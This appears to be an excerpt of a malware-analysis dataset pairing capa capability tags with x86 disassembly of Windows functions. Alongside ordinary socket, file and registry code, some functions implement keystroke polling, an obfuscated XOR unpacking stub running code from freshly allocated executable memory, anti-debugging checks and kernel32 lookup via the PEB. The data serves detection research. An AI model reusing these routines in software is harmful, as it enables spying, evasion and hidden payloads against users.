joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45d6a4
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x45d6d5
mov ecx, dword [0x496424]
mov dl, 1
mov eax, dword [0x45c5ac]
call fcn.0040c3c0
call fcn.00403e78
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x45d702
mov ecx, dword [0x496380]
mov dl, 1
mov eax, dword [0x45c5ac]
call fcn.0040c3c0
call fcn.00403e78
xor eax, eax
push ebp
push 0x45d77e
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.004038e0
cmp byte [ebp + 8], 0
je 0x45d75a
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0045d60c
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.0045d4e4
jmp 0x45d774
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0045cfdc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45d79b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x45d97c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0045d2a4
xor eax, eax
push ebp
push 0x45daee
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x45dad8
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x45d9c8
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x45d9d2
call fcn.00403f24
jmp 0x45daf5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004177cc
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
jle 0x45dacd
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
cmp edi, 0xffffffff
jne 0x45da80
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x45da6d
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004038e0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.0045d934
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x45db00]
cmp dl, byte [eax + 0x28]
je 0x45dad4
call fcn.0040c2e4
jmp 0x45dad4
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004177ec
jmp 0x45dad4
cmp edi, ebx
jge 0x45da9c
mov eax, dword [ebp - 0xc]
add eax, edi
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004177ec
jmp 0x45d9d2
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004177cc
cmp edx, dword [esp + 4]
jne 0x45dabc
cmp eax, dword [esp]
pop edx
pop eax
jne 0x45d9d2
push ebp
call fcn.0045d934
pop ecx
jmp 0x45dad4
push ebp
call fcn.0045d934
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45daf5
mov eax, dword [ebp - 4]
call fcn.0045d2b0
ret
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45db04
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45dc26
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0045d2a4
xor eax, eax
push ebp
push 0x45dc09
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x45db54
call fcn.00403f24
jmp 0x45dc10
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x45dbf3
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x45dbf3
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004038e0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x45dbf3
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040bac8
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x45dc40
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x496584]
mov dl, 1
mov eax, dword [0x45c5ac]
call fcn.0040c3fc
call fcn.00403e78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45dc10
mov eax, dword [ebp - 4]
call fcn.0045d2b0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45dc2d
lea eax, [ebp - 0x28]
call fcn.004044e8
ret
Function at 0x45dc8c
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45ddf7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0045d2a4
xor eax, eax
push ebp
push 0x45ddda
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x45dcf1
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x45dcf1
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x45ddc4
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x45dd04
call fcn.00403f24
jmp 0x45dde1
lea eax, [ebp - 0x10]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
test eax, eax
jne 0x45dd25
cmp ebx, dword [ebp - 0x10]
jle 0x45dd25
mov ebx, dword [ebp - 0x10]
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x45ddc4
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x45ddc4
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004038e0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x45ddc4
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
call fcn.0040bac8
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
mov eax, 0x45de10
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
lea eax, [ebp - 0x28]
push eax
push 2
mov ecx, dword [0x496584]
mov dl, 1
mov eax, dword [0x45c5ac]
call fcn.0040c3fc
call fcn.00403e78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45dde1
mov eax, dword [ebp - 4]
call fcn.0045d2b0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ddfe
lea eax, [ebp - 0x2c]
call fcn.004044e8
ret
Function at 0x466e44
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x466e4c
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x46703e
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x467054
mov eax, esi
call fcn.00464bc0
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.0040453c
lea ecx, [ebp - 0x10]
mov edx, 0x467068
mov eax, esi
call fcn.00464bc0
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.0040453c
lea ecx, [ebp - 0x14]
mov edx, 0x467080
mov eax, esi
call fcn.00464bc0
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.0040453c
lea ecx, [ebp - 0x18]
mov edx, 0x46709c
mov eax, esi
call fcn.00464bc0
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.0040453c
lea ecx, [ebp - 0x1c]
mov edx, 0x4670b8
mov eax, esi
call fcn.00464bc0
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.0040453c
lea ecx, [ebp - 0x24]
mov edx, 0x4670d0
mov eax, esi
call fcn.00464bc0
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00408708
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.00408ca4
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x4670e8
mov eax, esi
call fcn.00464bc0
mov eax, dword [ebp - 0x28]
call fcn.00463cc4
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x4670f8
mov eax, esi
call fcn.00464bc0
mov eax, dword [ebp - 0x2c]
call fcn.00463cc4
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x467110
mov eax, esi
call fcn.00464bc0
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.00408ca4
inc eax
je 0x466fe1
lea ecx, [ebp - 0x34]
mov edx, 0x467110
mov eax, esi
call fcn.00464bc0
mov eax, dword [ebp - 0x34]
call fcn.00408c68
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.0040a214
fstp qword [ebp - 0x3c]
wait
call fcn.0040a584
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x466ffc
lea ecx, [ebp - 0x40]
mov edx, 0x467110
mov eax, esi
call fcn.00464bc0
mov eax, dword [ebp - 0x40]
call fcn.00463cc4
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x467120
mov eax, esi
call fcn.00464bc0
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.0040453c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x467045
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.0040450c
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.0040450c
ret
Function at 0x47336c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x4733c6
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.0047335c
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.00462930
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.00462530
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4733cd
lea eax, [ebp - 4]
call fcn.004044e8
ret

Function at 0x47954c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x47957a
mov eax, ebx
call fcn.0047a000
cmp dword [ebx + 0x40], 0
je 0x479573
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4795eb
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4795dd
cmp dword [ebx + 8], 0
je 0x47959c
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4795ae
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4795dd
cmp dword [ebx + 8], 0
je 0x47958f
cmp eax, 3
je 0x4795c1
dec eax
jne 0x47958f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x47958f
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x47958f
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x479609
cmp dword [ebx + 0x14], 0xcc
je 0x479609
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00479614
pop ebx
ret
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x402ee4
pop dword [ebp - 0x34]
mov eax, 0xe0db9628
sub eax, 0xe09b6744
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x97352571
add dword [ebp - 0x44], 0xb71d1fda
mov dword [ebp - 0x40], 0xbd9c782e
sub dword [ebp - 0x40], 0x8b692be9
mov dword [ebp - 0x3c], 0x1a7e6589
add dword [ebp - 0x3c], 0x31cddea5
mov dword [ebp - 0x38], 0x5497f19b
sub dword [ebp - 0x38], 0x5497f19b
lea eax, [ebp - 0x44]
push eax
mov eax, 0x307194a5
add eax, 0xcfceec5f
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xbb0c0206
sub dword [ebp - 0x44], 0x469998b0
mov dword [ebp - 0x40], 0x73523996
sub dword [ebp - 0x40], 0x31e5d821
mov dword [ebp - 0x3c], 0xdb2e88b3
add dword [ebp - 0x3c], 0x8840e3b9
mov dword [ebp - 0x38], 0x571fa67a
add dword [ebp - 0x38], 0xa8e05986
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xcd8e7a1
add eax, 0xf367995f
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3a2cb
push 0
call eax
mov ecx, 0x548e
xor ebx, ebx
add ebx, eax
mov edi, 0xc1ec1dc9
add edi, 0x3e5ac637
add edi, dword [ebp - 0x34]
mov edx, 0x5fbefdfe
add edx, 0xa653f1f3
xor dword [ebp - 0x24], ebx
mov esi, dword [edi]
xor dword [ebp - 4], ebx
add esi, edx
mov dword [ebx], esi
xor dword [ebp - 8], 0x755d8edf
add ebx, 4
add edi, 4
loop 0x403002
add eax, 0x61fa1a1b
sub eax, 0x61f8d510
mov ebx, eax
add eax, 0xf58ae4de
add eax, 0xa751b27
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x40d5d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47d85b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047022a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40d652
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046db10
mov eax, dword [eax]
push 0x74a200
push eax
call fcn.00460584
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004704b5
test bl, bl
je 0x40d652
push 0x74a200
lea ecx, [esp + 0xc]
call fcn.00470891
push 0x74dd84
lea ecx, [esp + 0xc]
call fcn.00470891
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40d68e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004704b5
jmp 0x40d759
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40d712
lea edx, [esp + 0x7c]
push 0x74dd80
push edx
call fcn.00460584
add esp, 8
test eax, eax
je 0x40d712
lea eax, [esp + 0x7c]
push 0x74dd7c
push eax
call fcn.00460584
add esp, 8
test eax, eax
je 0x40d712
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40d6a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004704b5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40df50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40dfb2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40dfc0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47d8db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x755130]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40e0f8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40e026
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004704b5
xor eax, eax
jmp 0x40e16f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0047063e
push esi
lea ecx, [esp + 0xc]
call fcn.004708cd
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40e14d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.0040df50
test eax, eax
jne 0x40e14d
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.0040df50
test eax, eax
jne 0x40e14d
lea eax, [esp + 0x14]
push 0x74dd98
push eax
call fcn.00461660
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e12c
lea ecx, [esp + 0x14]
push 0x74dd94
push ecx
call fcn.004615e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e12c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40e12f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004705ee
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40e03e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004704b5
xor eax, eax
jmp 0x40e16f
mov byte [esi], 0
push 0x74dd90
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004704b5
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x420200
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42026e
cmp si, 0x69
ja 0x42026e
add esi, 0xffd0
cmp si, 0x11
je 0x42023e
push 0x11
call edi
test ax, ax
jge 0x42023e
or esi, 0x2000
cmp si, 0x10
je 0x420253
push 0x10
call edi
test ax, ax
jge 0x420253
or esi, 0x4000
cmp si, 0x12
je 0x420268
push 0x12
call edi
test ax, ax
jge 0x420268
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42027b
mov esi, 0xbd
jmp 0x42022f
cmp si, 0x6e
jne 0x420288
mov esi, 0xbe
jmp 0x42022f
cmp si, 0x6f
jne 0x420229
mov esi, 0xbf
jmp 0x42022f

Function at 0x421920
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x765ee0]
xor edx, edx
cmp eax, edx
jne 0x421946
xor eax, eax
mov byte [eax + 0x765de0], al
inc eax
cmp eax, 0x100
jl 0x42192e
mov dword [0x765ee0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x765de0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4219d7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4219aa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x421978
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x421a50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x421aa3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x421a8a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret